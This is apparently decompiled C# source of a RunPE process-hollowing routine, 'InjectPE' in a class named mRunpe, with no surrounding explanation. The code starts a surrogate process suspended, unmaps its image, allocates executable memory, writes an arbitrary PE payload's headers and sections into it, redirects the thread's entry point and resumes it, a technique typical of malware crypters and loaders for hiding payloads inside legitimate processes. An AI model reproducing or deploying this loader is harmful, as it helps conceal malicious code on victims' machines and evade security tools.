// Token: 0x0600009E RID: 158 RVA: 0x000097EC File Offset: 0x000079EC
public static bool InjectPE(byte[] bytes, string surrogateProcess, string optionalArguments = "")
{
try
{
IntPtr zero = IntPtr.Zero;
IntPtr[] array = new IntPtr[4];
mRunpe.STARTUPINFO startupinfo = default(mRunpe.STARTUPINFO);
int num = BitConverter.ToInt32(bytes, 60);
int num2 = (int)BitConverter.ToInt16(bytes, num + 6);
IntPtr value = new IntPtr(BitConverter.ToInt32(bytes, num + 84));
startupinfo.cb = Strings.Len(startupinfo);
startupinfo.wShowWindow = 0;
startupinfo.dwFlags = 257;
Process process = new Process();
process.StartInfo.CreateNoWindow = false;
if (!string.IsNullOrEmpty(optionalArguments))
{
surrogateProcess = surrogateProcess + " " + optionalArguments;
}
if (!mRunpe.CreateProcess(null, new StringBuilder(surrogateProcess), zero, zero, false, 4, zero, null, ref startupinfo, array))
{
return(false);
}
uint[] array2 = new uint[179];
array2[0] = 65538u;
if (mRunpe.GetThreadContext(array[1], array2))
{
IntPtr baseAddr = new IntPtr((long)((ulong)array2[41] + 8UL));
IntPtr zero2 = IntPtr.Zero;
IntPtr value2 = new IntPtr(4);
IntPtr zero3 = IntPtr.Zero;
if (mRunpe.ReadProcessMemory(array[0], baseAddr, ref zero2, (int)value2, ref zero3) && (ulong)mRunpe.NtUnmapViewOfSection(array[0], zero2) == 0UL)
{
IntPtr intPtr = new IntPtr(BitConverter.ToInt32(bytes, num + 52));
IntPtr intPtr2 = new IntPtr(BitConverter.ToInt32(bytes, num + 80));
IntPtr lpBaseAddress = mRunpe.VirtualAllocEx(array[0], intPtr, intPtr2, 12288, 64);
int lpNumberOfBytesWritten;
mRunpe.WriteProcessMemory(array[0], lpBaseAddress, bytes, (uint)((int)value), lpNumberOfBytesWritten);
int num3 = num2 - 1;
int num4 = 0;
int num5 = num3;
for (int i = num4; i <= num5; i++)
{
int[] array3 = new int[10];
Buffer.BlockCopy(bytes, num + 248 + i * 40, array3, 0, 40);
byte[] array4 = new byte[array3[4] - 1 + 1];
Buffer.BlockCopy(bytes, array3[5], array4, 0, array4.Length);
intPtr2 = new IntPtr(lpBaseAddress.ToInt32() + array3[3]);
intPtr = new IntPtr(array4.Length);
mRunpe.WriteProcessMemory(array[0], intPtr2, array4, (uint)((int)intPtr), lpNumberOfBytesWritten);
}
intPtr2 = new IntPtr((long)((ulong)array2[41] + 8UL));
intPtr = new IntPtr(4);
mRunpe.WriteProcessMemory(array[0], intPtr2, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)((int)intPtr), lpNumberOfBytesWritten);
array2[44] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num + 40));
mRunpe.SetThreadContext(array[1], array2);
}
}
Thread.Sleep(1000);
mRunpe.ResumeThread(array[1]);
}
catch (Exception ex)
{
return(false);
}
return(true);
}
private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, [In] ref mRunpe.STARTUPINFO lpStartupInfo, IntPtr[] pInfo);
